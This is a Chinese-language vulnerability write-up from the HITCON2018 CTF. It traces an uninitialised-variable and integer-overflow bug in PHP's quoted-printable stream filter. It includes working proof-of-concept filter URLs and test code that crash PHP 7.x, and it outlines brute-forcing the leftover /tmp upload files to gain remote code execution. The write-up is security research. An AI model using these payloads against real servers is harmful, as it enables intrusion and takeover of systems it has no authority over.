## LFI to RCE without session.upload
### One Line PHP Challenge
`HITCON2018`由🍊出的`One Line PHP Challenge`,利用了`filter`编码与`session.upload`搭配,从而构造出开头是`@<?php`的文件流,达成了RCE。
[题目详情与writeup](https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge)
### A new way to exploit PHP7.2 from LFI to RCE
#### 分析过程1
在`HITCON2018`的比赛过程中,我尝试了`convert.quoted-printable-encode`这个filter,但是我在data部分传入超大ascii码的字符时(`php://filter/convert.quoted-printable-encode/resource=data://,%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf`),发现服务器报了`500`,在本地测试,发现报错为:
![](https://i.imgur.com/zkrybuy.png)
然后我就产生的疑问: 这么简单的功能,这么少的字符总数,为什么会分配这么多内存直到超过`limit`?
赛后我稍微跟了一下,发现最终的原因是陷入`strfilter_convert_append_bucket()`的循环里,每次倍增分配内存的大小。
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1492
循环主体为:
```cpp
// 获取的返回值一直为 PHP_CONV_ERR_TOO_BIG
err = php_conv_convert(inst->cd, &pt, &tcnt, &pd, &ocnt);
...
case PHP_CONV_ERR_TOO_BIG: {
char *new_out_buf;
size_t new_out_buf_size;
new_out_buf_size = out_buf_size << 1;
/*
这里的new_out_buf_size为out_buf_size左移一位
也就是说如果out_buf_size为一个比较小的数字,下面的if恒不成立
*/
if (new_out_buf_size < out_buf_size) {
if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) {
goto out_failure; //只有这里能跳出循环
}
php_stream_bucket_append(buckets_out, new_bucket);
out_buf_size = ocnt = initial_out_buf_size;
out_buf = pemalloc(out_buf_size, persistent);
pd = out_buf;
} else {
//这里不断的在尝试alloc memory,因为陷入了循环,且分配大小每次倍增,所以很快就超过了限制
new_out_buf = perealloc(out_buf, new_out_buf_size, persistent);
pd = new_out_buf + (pd - out_buf);
ocnt += (new_out_buf_size - out_buf_size);
out_buf = new_out_buf;
out_buf_size = new_out_buf_size;
}
} break;
```
按照PHP开发人员正常的逻辑,生成`PHP_CONV_ERR_TOO_BIG`错误就代表`out_buf_size`是个大数,通过左移能丢失最高位变成一个小数,从而进入`if`分支goto跳出循环,但是这里的问题是,`err`为`PHP_CONV_ERR_TOO_BIG`, `out_buf_size`是个小数。
我们来回溯一下为什么是这样
```cpp
#define php_conv_convert(a, b, c, d, e) ((php_conv *)(a))->convert_op((php_conv *)(a), (b), (c), (d), (e))
```
![](https://i.imgur.com/hBOQSoH.jpg)
调用了 `inst->cd->convert_op()`,也就是`php_conv_qprint_encode_convert()`
```cpp
static php_conv_err_t php_conv_qprint_encode_convert(php_conv_qprint_encode *inst, const char **in_pp, size_t *in_left_p, char **out_pp, size_t *out_left_p)
{
php_conv_err_t err = PHP_CONV_ERR_SUCCESS;
unsigned char *ps, *pd;
size_t icnt, ocnt;
unsigned int c;
unsigned int line_ccnt;
unsigned int lb_ptr;
unsigned int lb_cnt;
unsigned int trail_ws;
int opts;
static char qp_digits[] = "0123456789ABCDEF";
line_ccnt = inst->line_ccnt;
opts = inst->opts;
lb_ptr = inst->lb_ptr;
lb_cnt = inst->lb_cnt;
if ((in_pp == NULL || in_left_p == NULL) && (lb_ptr >=lb_cnt)) {
return PHP_CONV_ERR_SUCCESS;
}
ps = (unsigned char *)(*in_pp);
icnt = *in_left_p;
pd = (unsigned char *)(*out_pp);
ocnt = *out_left_p;
trail_ws = 0;
for (;;) {
if (!(opts & PHP_CONV_QPRINT_OPT_BINARY) && inst->lbchars != NULL && inst->lbchars_len > 0) {
```
所有的传入参数如下:
![传入参数](https://i.imgur.com/Mxuclm1.png)
![](https://i.imgur.com/Wzem2PE.png)
按照预期,qprint支持的可编码字符应该传入到这个分支
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L896
但是因为我输入的字符中包含ascii码大于126的,导致进入了`else`分支
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L919
而`inst->lbchars_len`可以看见是一个非常大的数,所以进入到了`if (ocnt < inst->lbchars_len + 1) ` 这个分支,导致一直返回`TOO BIG error`
```cpp
} else {
if (line_ccnt < 4) {
if (ocnt < inst->lbchars_len + 1) {
err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
break;
}
*(pd++) = '=';
ocnt--;
line_ccnt--;
memcpy(pd, inst->lbchars, inst->lbchars_len);
pd += inst->lbchars_len;
ocnt -= inst->lbchars_len;
line_ccnt = inst->line_len;
}
if (ocnt < 3) {
err = PHP_CONV_ERR_TOO_BIG;
break;
}
*(pd++) = '=';
*(pd++) = qp_digits[(c >> 4)];
*(pd++) = qp_digits[(c & 0x0f)];
ocnt -= 3;
line_ccnt -= 3;
if (trail_ws > 0) {
trail_ws--;
}
CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}
```
为什么`lbchars_len`这么大呢?
我发现它最初赋值的位置是
```cpp
static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent)
{
if (line_len < 4 && lbchars != NULL) {
return PHP_CONV_ERR_TOO_BIG;
}
inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert;
inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor;
inst->line_ccnt = line_len;
inst->line_len = line_len;
if (lbchars != NULL) {
inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars);
inst->lbchars_len = lbchars_len;//这里赋值
} else {
inst->lbchars = NULL;
}
inst->lbchars_dup = lbchars_dup;
inst->persistent = persistent;
inst->opts = opts;
inst->lb_cnt = inst->lb_ptr = 0;
return PHP_CONV_ERR_SUCCESS;
}
```
`inst`初始化的时候
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1337
```cpp
case PHP_CONV_QPRINT_ENCODE: {
unsigned int line_len = 0;
char *lbchars = NULL;
size_t lbchars_len;
int opts = 0;
if (options != NULL) {
...
}
retval = pemalloc(sizeof(php_conv_qprint_encode), persistent);
if (lbchars != NULL) {
...
} else {
if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) {
goto out_failure;
}
}
} break;
```
因为我们使用`php://`没有对`convert.quoted-printable-encode`附加`options`, 所以这里的`options`就是`NULL`,,一直到了`else`分支, 我们可以看到他传的参数为`(php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)`
至此,导致`lbchars`为`NULL`,导致`lbchars_len`没有被赋值。
#### 第一个结论
`inst->lbchars_len` 变量未初始化调用
#### 分析过程2
因为`inst->lbchars_len`是未初始化调用,是从内存中相应位置取出的值,PHP涉及到很多内存操作,那么有没有可能让我们控制整个值呢?
根据定义,我们知道lbchars_len长度为`8bytes`,通过调整`附加data`的长度,我发现会有一些request报文头的`8bytes`被存储到`inst->lbchars_len`
![](https://i.imgur.com/eAz3Fn5.png)
继续调整,将url的param部分泄露了出来
![](https://i.imgur.com/u4zS4Eq.png)
![](https://i.imgur.com/Tbf7cR0.png)
![](https://i.imgur.com/0mJUXps.png)
这样我们就可以控制`inst->lbchars_len`的值了,但是因为`php://`的`resource`内容不能包含`\x00`,所以只能构造`\x01`-`\xff`的内容
再回头看
```cpp
} else {
if (line_ccnt < 4) {
if (ocnt < inst->lbchars_len + 1) {
err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
break;
}
*(pd++) = '=';
ocnt--;
line_ccnt--;
memcpy(pd, inst->lbchars, inst->lbchars_len);
pd += inst->lbchars_len;
ocnt -= inst->lbchars_len;
line_ccnt = inst->line_len;
}
if (ocnt < 3) {
err = PHP_CONV_ERR_TOO_BIG;
break;
}
*(pd++) = '=';
*(pd++) = qp_digits[(c >> 4)];
*(pd++) = qp_digits[(c & 0x0f)];
ocnt -= 3;
line_ccnt -= 3;
if (trail_ws > 0) {
trail_ws--;
}
CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}
```
可以发现`memcpy`的位置第二个参数是`NULL`,第一个,第三个参数可控,如果被调用,会导致一个`segfault`,从而在`tmp`下驻留文件,但是我们无法使用`%00`,如何让`ocnt < inst->lbchars_len + 1`不成立呢?(`ocnt`为data的长度),这里就要利用整数溢出,将`lbchars_len + 1`溢出到0
#### 结论2
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L921
`inst->lbchars_len`可控且存在整数溢出
#### 构造poc
所以控制可控部分为`\xff\xff\xff\xff\xff\xff\xff\xff`即可
以下poc会把`inst->lbchars_len`赋值成12345678(string)
```
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA87654321AAAAAAAAAAAAAAAAAAAAAAAA
```
如果要进入到`memcpy`,需要把相应部分替换成`%ff`
```
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
```
此POC可导致PHP异常退出,tmp下的文件来不及回收,从而可以利用这些临时文件getshell.
[可参考的tmp爆破方式](https://www.jianshu.com/p/dfd049924258)
(生成62**3个文件,再去爆破)(小技巧: 每次请求可以发送20个文件)
### 其他问题
#### 内存泄露
根据`ocnt < inst->lbchars_len + 1`这个判断条件,因为左式是data长度,是可控的,右侧是可以内存泄露的内容转int+1,所以存在着内存泄露的风险,不过十分难控制,而且泄露的大多是没用的(因为request报文存储在其附近)
#### heap overflow
`memcpy()`第一个第三个参数可控,但是第二个参数因为是`NULL`,导致现在只能利用其segfault,所以很可惜(审了一下附近的代码,暂时没发现因这个可控参数引起的其他漏洞)
### 漏洞适用版本
test code
```php
<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>
```
7.3
![](https://i.imgur.com/ezqwtN1.png)
7.2
![](https://i.imgur.com/uhCIY6P.png)
7.1
![](https://i.imgur.com/Cavt2Vi.png)
7.0
![](https://i.imgur.com/DMCuah7.png)
全版本通杀`PHP>7`